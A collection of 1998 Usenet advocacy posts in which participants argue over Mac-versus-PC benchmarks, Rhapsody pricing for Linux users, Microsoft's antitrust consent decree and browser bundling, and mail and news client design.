> data that Byte published in Byte Magazine. Are you arguing that Byte used
> Apple's fudged data in their own magazine? Especially when Byte says in
> their magazine that the testing was done in their lab?
>
> Furthermore, you haven't provided any evidence of foul play--just that
> Apple's compiler is a very good one.
>
> --
> Regards,
> Joe Ragosta
> http://www.dol.net/~Ragosta/complmac.htm
Joe,
In the latest issue of PCPRO magazine there is an interesting test.
You will remember that this is the British magazine that had an article
by Jon Honeyball, praising Apple computers.
They did a group test of 12( DELL GATEWAY etc) Pcs. The winning Pc
costing UKP 1200( inc 15inch monitor) was a made by a clone maker KT.
They are a very very small company.
The magazine then did a comparison with a G3 233 desktop.
The G3 was UKP1369(inc 17 inch Fst monitor) plus UKP55 for an extra 32
ram to match the PC.The PC was a 333 LX Pentium 11. The Pc and Mac were
about the same in peripherals, except that the PC had a very fast
Seagate EIDE drive.
They ran Lightwave 5.5 and used a test render on both machines.
Lightwave is cross platform.
The G3 took 506 secs and the Pc took 306 secs.
They also installed SoftWindows95 on the Apple.They ran their regular Pc
benchmarks( WORD EXCEL PHOTOSHOP4 PAGEMAKER and ACCESS)on the machine
and produced a score of .35. This they equated to a Pentium 100.
"not state of the art, but usable" they write.
They intend to do some more 'real world' comparisons.
Mike Engles
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.misc
Subject: Re: MklinuxDR2 & RhapsodyDR2 running side by side?
Followup-To: comp.os.linux.misc
Date: 8 May 1998 01:04:50 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <6itlni$92o$7@blue.hex.net>
References: <6ijpv5$p11@nnrp1.farm.idt.net> <354dd457.0@news.depaul.edu> <6iofql$ake@bgtnsc01.worldnet.att.net> <6ip8vm$oum$12@ns3.vrx.net> <6ir6mg$6ej@bgtnsc03.worldnet.att.net> <6irtmn$r1i$4@ns3.vrx.net> <slrn6l3kt8.2pd.sal@panix3.panix.com>
On 7 May 1998 15:30:48 GMT, Salvatore Denaro <sal@panix3.panix.com> wrote:
>On 7 May 1998 09:08:39 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
>>In <6ir6mg$6ej@bgtnsc03.worldnet.att.net> Peter Koren claimed:
>>> Most Linux users I know have dual or multiple OS boot
>>> systems. They pay for the other OSs. I love Linux because
>>> it is an excellent Unix and improving at a spectacular rate.
>> Well I can't say I know that much about the development effort, but much of
>>what I see tends to be on the "geek" end of things.
>
>I would tend to agree that most of the development is on the "geek"
>end of the scale. Heck, the App being touted as the KDE/Gnome word
>processor of choice is based on LyX, a TeX editor.
Indeed.
>>> It may gain the ease of use and OO API that Rhapsody has
>>> quicker than you might guess.
>> Maybe maybe not - that side I _have_ been watching and I've seen little
>>movement.
>
>There are a few GUI projects that look interesting, Gnome and KDE
>being the two that stand out. RedHat even sells a CDE bundle. I
>would guestimate that 75% of Linux users I know run some kind of
>unified GUI system/bundle. They must see some kind of value in using an
>interface that _just works_
And your comments suddenly make GNOME-related goings on make a *whole*
lot more sense.
RedHat sells CDE, but is strongly supporting GNOME development, to the
point of having several developers that seem to be working on GNOME
full-time.
Which is all *rather* interesting when you consider that GNOME
is a GPLed project.
>How well the'll view Rhapsody is still up in the air.
I suspect it'll be considered largely irrelevant *UNLESS*:
a) It is possible to cohost MkLinux along with Rhapsody, or
b) Apple releases a "free" YellowBox library allowing apps to run on
Linux too, or
c) GNUStep gets *much* further along, and makes it possible for there
to be some synergy of Linux-based development of Rhapsody-targeted
apps, and vice-versa.
The latter is likely to be the thing that would encourage the most
cross-interest between Linux and Rhapsody.
>>> I don't think that the Linux users will refuse to pay for
>>> Rhapsody if it is sanely priced.
>> Good!
>"Sanely priced" is a relative measure. A guy at the local software
>store that I go to, told me that the $30 official RedHat5 out sells the
>$12.50 InfoMagic RedHat5 bundle. Why would people pay more? Perceived
>value. Since the $30 package is in a bigger box, is riddled with
>stickers telling you all the extra stuff that is in the box, and has
>the word "official" stamped on it; it has a much higher perceived value.
>RedHat also has a fair amount of mindshare in the Linux comunity. The
>Caldera bundle sells fewer copies than the InfoMagic package. At $100+
>it doesn't seem to have a higher value to justify the higher price.
Which all goes together to say that people certainly look at more than
just price tag.
It is *not* fair to say that Linux users are purely "cheap;" while there
are some, there is certainly not a direct correlation between high sales
and low-ball pricing.
>It becomes clear that for Rhapsody to sell at $100, Apple has to make
>it clear that you get more than you get in that $30 RedHat package or
>it wont sell well to Linux users.
It needs to give the *right* things for that price. The perceived
value will vary in *highly* nonlinear ways.
If Apple can find something to "sell" that people *highly* value and
want, then that $100 may be an easy price to pay.
If they don't have that "hot" feature, then there may be all sorts of
"nifty features," but that's "Nice, but no cigar..."
--
"Absolutely nothing should be concluded from these figures except that
no conclusion can be drawn from them." (By Joseph L. Brothers,
Linux/PowerPC Project)
cbbrowne@hex.net - <http://www.hex.net/~cbbrowne/lsf.html>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 06 May 1998 20:21:05 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0605982021050001@dialin9123.slip.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6ipuo9$606$3@strato.ultra.net> <joe.ragosta-0605981319480001@wil103.dol.net> <6ir1j8$s1s$3@ligarius.ultra.net> <joe.ragosta-0605982149530001@elk107.dol.net>
In article <joe.ragosta-0605982149530001@elk107.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6ir1j8$s1s$3@ligarius.ultra.net>, "John Saunders"
> <jws@jws.ultranet.com> wrote:
>
> > I know I'm getting to be the old cynic, but can you show me a case of a bad
> > law getting fixed? I bet it was a law that a lot of people thought was
> > _really_ bad, not a law that simply caught some people falling between the
> > cracks.
>
> Well, we could discuss Prohibition and the repeal thereof.
Actually there are literally thousands and thousands of laws that existed
and got fixed. Let us not remember all of the laws and corrections to laws
that surrounded both the Civil War and the Civil Rights Movement. And they
were generally regarded by the bulk of the population even in the North as
simply catching some people falling between the cracks.
There is almost no limit to the number if we drill down to both state and
local laws.
-Bob Cassidy
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 7 May 1998 23:06:23 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6itulc$pc3$1@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <354FFAFE.6D97E316@delphi.com> <6ipuoa$606$4@strato.ultra.net> <see-below-0705980442410001@209.24.240.68>
Matthew Vaughan wrote in message ...
>In article <6ipuoa$606$4@strato.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>
>> Second, and I apparently need to reiterate this, the states are ganging
up
>> on a company for the purpose of extorting money from them.
>
>Huh? Where on earth did you get this idea? The states are ganging up on
>Microsoft because it potentially stifles competition of other businesses
>which don't play Microsoft's game.
Matthew,
We'll find out what the states want to do when or if they file their
suit(s). I'm concerned that they will pull another "tobacco settlement", but
maybe they won't. And then, I'll apologize to them.
>You're concerned that the _states_
>might have too much power in some way, but it doesn't concern you for a
>second if Microsoft might has too much power?
The nature of the power is different. Also, we have laws which can govern
Microsoft. We have no laws to govern the states extorting money from
Microsoft.
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 7 May 1998 23:13:06 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6ituld$pc3$2@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <01bd79d5$27ad36a0$8383050a@bgravitt.CORP.VHA.COM>
VHA PC Development wrote in message
<01bd79d5$27ad36a0$8383050a@bgravitt.CORP.VHA.COM>...
>John Saunders <jws@jws.ultranet.com> wrote in article
><6ir7p5$nt$4@ligarius.ultra.net>...
>> VHA PC Development wrote in message
>> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM>...
>
>- snip (you wrote, I wrote etc...)
>
>> >> >> DC, would a company like CompUSA, which has spent x Million dollars
>> >> >getting
>> >> >> their advertising and promotions ready for the Win98 launch would
>be
>> >hurt
>> >> >if
>> >> >> that launch were delayed a year or two?
>> >> >
>> >> >Probably not.
>> >> >
>> >>
>> >>
>> >> I'm going to run right out and buy stock in CompUSA - a company which
>can
>> >> drop millions of dollars and not be hurt by it. Hey, people, I said
>> >"hurt",
>> >> not "devastated".
>> >>
>> >
>> >Most advertising is tax deductible. CUSA's drop of millions of dollars
>was
>> >a risky investment as investments usually go. They may be wounded for a
>> >quarter maybe though I'll give you that.
>> >
>> >Let me ask you some questions...
>> >
[snip]
>> >I wouldn't doubt if CUSA was being urged to campaign for this new
>windows.
>> >They are a powerful force in the U.S. computer market. There is nothing
>> >wrong with such partnerships insofar as it doesn't attempt to stifle
>> >competition.
>>
>>
>> Why would Microsoft have to urge a computer store to make money?
>
>What the heck do you think marketing is? Hmm?
>
I asked why they would _have_ to, not why would they _want_ to.
>> I believe Windows98 does include a few things not in OSR2, the new disk
>> defragmenter for instance.
>>
>
>Which does what that the old defragmenter couldn't do? Look prettier?
>
Puts frequently-used programs at the beginning of the disk, I believe.
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 7 May 1998 23:20:27 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6itule$pc3$3@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6ipuo9$606$3@strato.ultra.net> <6iss6o$r4k$1@interport.net>
float@interport.net wrote in message <6iss6o$r4k$1@interport.net>...
>John Saunders (jws@jws.ultranet.com) wrote:
>
>: I don't know of any recent cases of selective enforcement due to the
>: popularity of the defendent.
>
>O.J. Simpson?
Oh, come on! A jury found him not guilty. You and I know he was guilty, but
I think if we believe in the rule of law, we have to permit juries to make
decisions we don't agree with.
>
>: Joe, my concern is that this business of the states ganging up to extort
>: money is new.
>
>Whaaaat? Who asked for money?
>
A lot of people didn't get my point, so I will assume I did a bad job of
making my point.
The states ganged up on the tobacco companies for the purpose of extortion.
Note that it was not for the purpose of "enforcing the law", since there
were no trials. The "extortion" consisted in threatening to take the tobacco
companies to trial, then requiring the tobacco companies to pay big bucks to
keep from having the threat carried out.
My concern, based on what I was reading about the states working together
with the DOJ, was that the states were going to try to do it again.
It's been pointed out to me that the states might still do the right thing
(not sue). As a result, I'm willing to wait and see what happens.
Thanks,
John Saunders
jws@jws.ultranet.com
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 06 May 1998 20:18:01 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0605982018020001@dialin9123.slip.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <jinx6568-0605980316060001@usr2a35.bratt.sover.net> <355d5b06.148323868@news.nai.net> <6iq8h9$aj6$2@nerd.apk.net>
In article <6iq8h9$aj6$2@nerd.apk.net>, joe@apk.net (Joseph T. Adams) wrote:
> Microsoft damages the economy, by releasing buggy software that
> often lowers net productivity rather than increasing it.
Actually, that would only shift economic costs and benefits around.
Consider an added overhead to manufacturing a product directly caused by
MS which then gets pushed back to the consumer in the form of added cost.
The economy doesn't suffer really. The consumers might, but so long as the
dollars flow, the economy is fine. OTOH, added costs by organizations
funded by taxpayers due to MS should be a point of concern as it results
in a mandatory tax component for all citizens with no benefitial return
other than supporting MS, consultants, and their associates. It is, in
effect, a tax subsidy for certain markets which need not occur.
-Bob Cassidy
From: "Dave Walker" <d@z.n>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <6isqdb$pa4$1@interport.net> <6isudr$39$1@interport.net> <6it4lv$n71$2@cronkite.cygnus.com> <3552188E.471E@CONVEX.COM>
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 8 May 1998 08:48:52 -0500
Message-ID: <35531f8a.0@209.136.2.9>
Michael Peck wrote in message <3552188E.471E@CONVEX.COM>...
>John Rudd wrote:
>
>[cut]
>
>> Nothing but good can come from hurting MS and those who blindly follow
them.
>> Period.
>
>I just started a kill-file. You're the first member.
>
>MJP
Hey... add me to it as well.
Dave Walker
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8pgam.1msusmo12wmiqtN@roxboro0-034.dyn.interpath.net>
References: <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us> <6infcq$c0h$6@ns3.vrx.net> <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net> <6ip7tl$oum$7@ns3.vrx.net> <1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net> <6iqsmp$h86$1@cronkite.cygnus.com> <6irrnu$r1i$1@ns3.vrx.net> <1d8nl27.1biqyk61nk71kqN@roxboro0-028.dyn.interpath.net> <6isc63$9ih$2@ns3.vrx.net> <1d8ny3o.1pmrnv4cizmb5N@roxboro0-028.dyn.interpath.net> <35520F22.1486@CONVEX.COM> <1d8o1xu.1yrqi911iuxkv7N@roxboro0-028.dyn.interpath.net> <ant0810050b0LJLo@om107.acorn.co.uk>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Fri, 08 May 1998 14:22:16 GMT
NNTP-Posting-Date: Fri, 08 May 1998 07:22:16 PDT
Dave Griffiths <dgriffit@acorn.co.uk> wrote:
> John Moreno <URL:mailto:phenix@interpath.com> wrote:
>
> > I DON'T pretend to own comp.sys.next.advocacy - I do pretend to own my
> > mailbox. And yes I did invite them to my mailbox, that was kinda the
> > point you know.
>
> Why should the fact that one is private and one public make any difference
> to the tool that you use to browse them? Presumably you don't use one editor
> to view files in your home directory and another editor to view files on an
> NFS server.
The big difference isn't browsing, it's posting, mailing, and receiving.
> The separation between news and mail is merely a historical accident. If we
> were starting over we'd integrate them. And wouldn't it be cool to have a
> variety of mail aliases (like private newsgroups) instead of having to rely
> on stuff like procmail to sort it for you (which is not an option for some
> of us).
And, no the separation isn't a historical accident and no if we were
starting over we wouldn't integrate them.
We MIGHT integrate the APPLICATIONS that handle them but there would
STILL be TWO different MEDIUMS with DIFFERENT capabilities and funtions
and goals.
--
John Moreno
From: joe@apk.net (Joseph T. Adams)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 8 May 1998 15:01:07 GMT
Organization: Quality Data Division of JTAE
Message-ID: <6iv6nj$f0m$1@nerd.apk.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <jinx6568-0605980316060001@usr2a35.bratt.sover.net> <355d5b06.148323868@news.nai.net> <6iq8h9$aj6$2@nerd.apk.net> <rmcassid-0605982018020001@dialin9123.slip.uci.edu>
Robert Cassidy (rmcassid@uci.edu) wrote:
: In article <6iq8h9$aj6$2@nerd.apk.net>, joe@apk.net (Joseph T. Adams) wrote:
:
: > Microsoft damages the economy, by releasing buggy software that
: > often lowers net productivity rather than increasing it.
:
: Actually, that would only shift economic costs and benefits around.
In the same way that theft does. It *does* create a negative
externality, and a rather large one. Productivity is the major
component of any society's standard of living. No one can consume (or
save, or invest, or even steal) what is not first produced.
: Consider an added overhead to manufacturing a product directly caused by
: MS which then gets pushed back to the consumer in the form of added cost.
: The economy doesn't suffer really. The consumers might, but so long as the
: dollars flow, the economy is fine. OTOH, added costs by organizations
: funded by taxpayers due to MS should be a point of concern as it results
: in a mandatory tax component for all citizens with no benefitial return
: other than supporting MS, consultants, and their associates. It is, in
: effect, a tax subsidy for certain markets which need not occur.
That's true, but I'm not horribly concerned, because the less
efficient our so-called "government" is, the more free we are.
Joe
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 8 May 1998 11:09:50 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6iv77u$j0f$1@crib.bevc.blacksburg.va.us>
References: <6icrin$6ra@newsb.netnews.att.com> <6ip8au$oum$10@ns3.vrx.net> <SCOTT.98May6131834@slave.doubleu.com> <6irt0u$r1i$2@ns3.vrx.net>
In article <6irt0u$r1i$2@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <SCOTT.98May6131834@slave.doubleu.com> Scott Hess claimed:
> > It's divider war - or window war.
> Quite often I find myself with two messages from the same thread open,
> comparing them side by side. At a minimum the system needs to put messages
> in windows IMHO.
That would be completely unmanageable if it were the default behavior.
Even if you have messages in a messages window, moving on to the next
message needs to replace the contents of that window. Perhaps with the
option to clone a new message window for comparisons.
Date: Fri, 08 May 1998 11:10:53 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Message-ID: <joe.ragosta-0805981110530001@wil126.dol.net>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981313420001@qburst.msfc.nasa.gov> <6iqh48$p4t$2@newsfep1.sprintmail.com>
In article <6iqh48$p4t$2@newsfep1.sprintmail.com>, macghod@concentric.net wrote:
> Up to a couple of weeks ago, their were 2 binaries under powerpc, one was
> labeled codewarrior, I forget what the other was. Neither gave a score
> anywhere near what apple got. Apple used moto 3.0. NOW!! BOth of these
> binaries are gone, and a moto 3 binary is in its place, surprisingly enough
> it NOW uses the compiler that apple tweaked to get the 9 score.
For about the one hundredth time, what evidence do you have to indicate
that this is a "tweaked" compiler? It's a Motorola compiler and Byte chose
it. I could understand some concerns about the MrC compiler (but only if
you drop all the Intel Reference Compiler scores). But you haven't
provided a shred of evidence that Byte is biased and using unfair tests.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: sdenbes1@san.rr.com (Steven C. Den Beste)
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Fri, 08 May 1998 15:30:07 GMT
Organization: QUALCOMM, Incorporated; San Diego, CA, USA
Message-ID: <35562491.1753843@news.qualcomm.com>
References: <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de> <6ingl7$f7$1@newsfep1.sprintmail.com> <35528eae.49366355@news.direct.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Wed, 06 May 1998 17:28:55 GMT, glend@no_spam.direct.ca (Glenn Davies)
sent this by carrier pigeon:
>On Tue, 5 May 1998 12:02:24 -0500, "Pinochet"
><9grayhome9@00sprintmail0me0.com> wrote:
>
>>
>>Rolf Magnus wrote in message <354F4C4F.3C93@zvw._REMOVE_THIS_de>...
>>> > Well, actually MS is trying to encourage the switch to NT, and
>>>DirectX6 will be on NT5 first, so I think you're a little behind the
>>times.
>>>
>>>That makes it even worse.
>>
>>No, it doesn't...you're making some foolish assumptions, that's what.
>>
>>
>>>That means that by now, Microsoft is forcing us to use win95 since
>>>directx 5 will not come out for NT4.
>>
>>Well, actually you CAN get DX5 for NT4, however since DX6 is so
>>close, MS has decided not to release that patch(though you can still
>>get it), and instead will have one for DX6 when it is done.
>
>Please tell me how one can get DX5 for NT - what MS URL is there for
>it? Also DX6 is slated to only be supported under NT 5 not NT 4 - I
>guess we're going to have to wait.
DirectX 5 for NT can be downloaded from the following location:
http://www.stefan98.com/download/nt4dx5.zip
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 07 May 1998 00:05:11 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0705980005120001@dialin33419.slip.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com>
In article <6ir7ua$14g$1@nnrp1.dejanews.com>, dpetticord@hotmail.com wrote:
> Half a dozen?
I don't claim that half a dozen were addressed by the decree, only that
they led up to it. There are numerous claims leading up to the current
action, only a few are large enough to take a serious stand on. That
doesn't mean the others didn't take place. I seem to recall reading quite
a few other complaints in some of the documents sent to the DOJ that were
not at all addressed.
> As understand it, the principle complaint was Microsoft's practice of
> "per-processor licensing". This is where Microsoft gave favorable terms
> to OEMs that agreed to pay licensing fees based on ALL the PCs they shipped.
> The legality or illegality of this practice has never been determined.
> Rather than take the chance, Microsoft agreed to stop this practice.
That was the big one, yes. It would center primarily around anti-trust
concerns as MS was using it's market power in ways that would very, very
likely be found unconstitutional at certain times in our history. This may
not be one of those times, as unfortunately our justices and legistlators
position on anti-trust tends to ebb and flow. For example, the aerospace
industry will likely be able to establish a monopoly in the interests of
military efficiency, and in terms of inter-national competition. Same
holds for MS on the latter. Nobody wants to take an industry that we
clearly dominate and weaken it in any way. However, some claim that MS's
position has already weakened the sofware industry - others claim that any
action against MS would weaken the industry. My position is simple:
competition is like entropy, it takes energy to create order. A single
company is a very ordered state, therefore not much energy is being
expended. To a market economy, energy is money, therefore competition
helps the economy.
> There were questions about "Vaperware", but the DOJ argued forcefully
> that the was no evidence of illegal behavior concerning this area.
> It was not addressed in the Consent Agreement.
You need to prove intent in a situation like that. MS could just claim
that they were idiots. Too tough to pursue.
> Their was also an accusation that Microsoft was forcing OEMs to license
> MSDOS in order to get licenses for Windows. This resulted in the infamous
> Section IV (i) of the consent agreement. According to Microsoft, they
> agreed to the licensing restriction ONLY after they were assured they
> could "integrate" the two separate products into one product (Windows95).
And it is that part of the integration section that MS is now extending to
ham sandwiches. Doesn't fly.
> That is three accusations and only two were addressed in the consent decree.
> Can you name three or four more?
There were tons others that weren't addressed by the consent decree. Stac,
stealing Quicktime code just to name two that were reasonably close in
time to the action. The latter is rumored to be what brought about a hefty
investment by MS in Apple last August (and I'm not referring to the stock
purchase). MS lost on Stac and promptly put them out of their misery. I'm
sure with a few moments of research I could come up with a few more but
I'm at the slow end of a 14.4 connection right now... take pity on me.
> > The extension to MS would be that if the _marketplace_ considers a browser
> > to be a separate product from an OS, that even if MS doesn't charge for
> > it, it is in fact a separate product. So that in this case MS would be
> > bundling a separate product with it's OS and be in violation of the
> > consent decree.
> >
> > The argument stems around whether the marketplace considers a browser to
> > be a product in and of itself and whether this definition should be
> > applied to software.
> >
>
> You have fairly summarized Judge Thomas Penfield Jackson reference in his
> motion at http://web.lawcrawler.com/microsoft/usdoj/cases/ms121197.html
>
> It makes for a GREAT anti-trust argument, but it is significantly weaker
> in a contract law case (IMO). Even Judge Jackson conceded "Microsoft's
> interpretation of Section IV(E)(i) is plausible in light of the
> circumstances surrounding the negotiation of the consent decree".
>
> Microsoft is pointing to Webster's dictionary and saying the agreement
> prohibits them from tying one product to another UNLESS they are packaged
> together as an "integrated product".
>
> In Contract Law the real question is what did the parties agree to when
> they signed. If the signers understood "integrated product" to mean
> "two or more software products in the same package" that is what the
> agreement means, regardless of what the Supreme Court rules.
I think that the precedent that is being bandied about suggests that an
'integrated product' is _not_ one that can be separated out as two or more
products recognized by the market as independent products in their own
right. That might be called a 'bundled product'. The problem is that MS
bought IE, a separate product, they marketed it as a separate product,
they called it a separate product in recent memory (since 95), they just
never charged for it. Putting it in the same install does not make it
'integrated', rather only 'bundled'.
The Supreme Courts involvement is not solely limited to the contract, as
it would also apply to a broader anti-trust case. MS is using it's power
in the OS marketplace to leverage control of an unrelated market -
browsers. The two just happen to coinside - so you pick the easier fight
first, that being the consent decree as it has fewer words to argue over,
at the very least.
> So, what was agreed to in 1994? Was it what Microsoft suggests or...
>
> A. "Microsoft is prohibited from tying two products together unless they
> are one product as defined by anti-trust laws."
That would be the anti-trust approach.
> B. "Microsoft is prohibited from tying two products together, but they can
> develop Integrated Products as long as they also provide a non-integrate
> version of the OS."
That would be a generous out to the above. This way MS is not forcing the
hand of the market who now have a choice in browsers. Allowing MS to
continue to sell a bundled product no longer carries the same implications
if they *only* carry a bundled product.
> C. "Microsoft is prohibited from tying two products together unless the
> added product is a newly developed function integrated into the existing
> OS."
That is an interpretation of the consent apparoach.
> D. "Microsoft is prohibited from tying two products together unless the
> industry generally agrees the combination of the two products makes sense."
That's silly. It has nothing to do with their combination, rather with
their status as separate, in which case it is a restatement of A.
> E. "Microsoft is probitited from tying two products together unless they
> are packaged together as an integrated package as long as the non-OS product
> is not also marketed separately by Microsoft."
Is there any other case of this occurring where it might come up? Or is it
merely a subset of one of the above?
> The DOJ has argued all of the above definitions. Microsoft has been
> consistently adhering to the one "plausible" definition throughout this
> case. How do YOU interpret the following words...
>
> (E) Microsoft shall not enter into any License Agreement in
> which the terms of that agreement are expressly or impliedly
> conditioned upon:
> (1)the licensing of any other Covered Product, Operating
> System Software product or other product (provided, however, that
> this provision in and of itself shall not be construed to prohibit
> Microsoft from developing integrated products)
The question is whether IE and 95 (or 98) are integrated. I don't see that
they are. Rather they seem to be bundled with an API between them. I'd
call IE an Operating System Software product that is being licensed. If
you have any doubt, MS has the IE license right on their web page.
> By the way, I believe the DOJ's current definition is "E". See
> http://www.usdoj.gov/atr/cases3/micros/1582.htm
> starting with...
> "Microsoft is permitted by the proviso to develop any integrated product
